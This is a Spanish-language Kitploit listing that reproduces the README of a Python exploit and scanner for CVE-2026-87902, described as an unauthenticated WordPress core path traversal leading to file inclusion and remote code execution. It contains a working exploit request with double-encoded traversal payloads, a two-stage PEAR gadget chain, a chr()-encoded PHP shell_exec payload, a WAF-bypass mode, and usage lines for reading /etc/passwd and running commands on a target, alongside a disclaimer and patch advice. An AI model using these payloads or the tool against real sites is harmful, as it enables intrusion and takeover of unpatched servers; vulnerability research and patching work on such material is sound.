Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-87902 — PoC y escáner en Python para CVE-2026-87902, un path traversal en el núcleo de WordPress que conduce a LFI y RCE basado en PEAR, con bypass de WAF y explotación automatizada. | Kitploit
Herramientas/GitHubGitHub/bhideki/cve-2026-87902
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubbhideki/cve-2026-87902

CVE-2026-87902

2228hace 22 díasAún no revisado

PoC y escáner en Python para CVE-2026-87902, un path traversal en el núcleo de WordPress que conduce a LFI y RCE basado en PEAR, con bypass de WAF y explotación automatizada.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902 — WordPress Core Path Traversal / LFI / RCE

Inclusión Local de Archivos no autenticada mediante path traversal con doble codificación en el resolvedor de plantillas de página del núcleo de WordPress, con cadena de RCE basada en PEAR.

Detalles de la Vulnerabilidad

CampoValor
CVECVE-2026-87902
CVSS9.2 (Crítico) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Control inadecuado del nombre de archivo para Include/Require
AfectadosWordPress 4.7.0 – 7.1.1
CorregidoWordPress 7.1.2 + backports a todas las ramas soportadas
AutenticaciónNinguna (no autenticado)

Causa Raíz

get_page_template() en wp-includes/template.php llama a urldecode() sobre el parámetro de consulta pagename después de que la sanitización ya se ha ejecutado. Una secuencia ../ con doble codificación (%252E%252E%252F) pasa la primera decodificación de PHP como %2E%2E%2F, sobrevive a sanitize_title_with_dashes() (que preserva las secuencias %xx), y luego es decodificada por la llamada tardía a urldecode() de WordPress convirtiéndose en ../ — escapando del directorio del tema.

El método POST es necesario porque redirect_canonical() retorna anticipadamente para solicitudes que no son GET/HEAD, evitando que la ruta sea normalizada antes de alcanzar el código vulnerable.

Flujo de Explotación

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP decodes POST body:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file

Impacto

  • Inclusión Local de Archivos — archivos .php arbitrarios fuera del directorio del tema son incluidos y ejecutados
  • Ejecución Remota de Código — mediante la cadena de gadget pearcmd.php de PEAR (requiere PEAR instalado + register_argc_argv=On)

Cadena de RCE mediante PEAR

Dos solicitudes POST anónimas logran RCE:

Etapa 1 — Incluir pearcmd.php mediante traversal. La cadena de consulta /?+config-create+/<php-payload>+<output>.php se convierte en el argv de PEAR. El comando config-create escribe datos controlados por el atacante (incluyendo etiquetas PHP) en un directorio con permisos de escritura.

Etapa 2 — Incluir el archivo escrito por PEAR. El PHP incrustado se ejecuta con los privilegios del servidor web.

Los payloads PHP usan codificación chr() (<?=shell_exec(chr(105).chr(100))?>) para evitar caracteres de comillas que wp_magic_quotes() escaparía.

Herramienta

cve-2026-87902.py — verificador automatizado + escáner LFI + exploit de RCE mediante PEAR. Usa http.client para un control de solicitudes byte-exacto (sin re-codificación de librerías).

Requisitos

Python 3.6+ (solo biblioteca estándar — sin dependencias de pip)

Uso

# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check

# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com

# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"

# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

Qué Hace

  1. Detección de tema — extrae el tema activo del HTML, sondea directorios page-*
  2. Descubrimiento de páginas — consulta la API REST en busca de páginas publicadas con plantillas predeterminadas
  3. Prueba de traversal — barre múltiples profundidades (1-12) con payloads POST de doble codificación
  4. Bypass de WAF — --multipart envuelve el payload en multipart/form-data para evadir la coincidencia de patrones del WAF
  5. Escaneo LFI — incluye archivos conocidos de WordPress y compara tamaños de respuesta con la línea base
  6. RCE — cadena PEAR de dos etapas con payloads codificados con chr()

Marcadores de Salida

MarcadorSignificado
[HIT]El archivo fue incluido exitosamente
[---]Respuesta normal (archivo no incluido)
[???]La respuesta difiere significativamente — vale la pena investigar
[WAF]Bloqueado por WAF (403)
[ERR]Conexión fallida

Precondiciones

  • El tema activo debe contener un directorio page-* (por ejemplo, page-templates/)
  • Al menos una página publicada con la plantilla predeterminada
  • Versión de WordPress en el rango afectado (sin parchear)
  • Para RCE: pearcmd.php de PEAR legible + register_argc_argv=On + /tmp con permisos de escritura

Remediación

Actualice a WordPress 7.1.2 o la última versión de seguridad para su rama (backports disponibles hasta 4.7).

Referencias

  • Robert Ressl — CVE-2026-87902 Write-up
  • WordPress Security Advisory — GHSA-7hp8-65ch-5whp
  • Hadrian Vulnerability Alert

Descargo de Responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación de bug bounty. Úsela solo contra sistemas para los que tenga permiso explícito de probar. El acceso no autorizado a sistemas informáticos es ilegal.

Descargar herramienta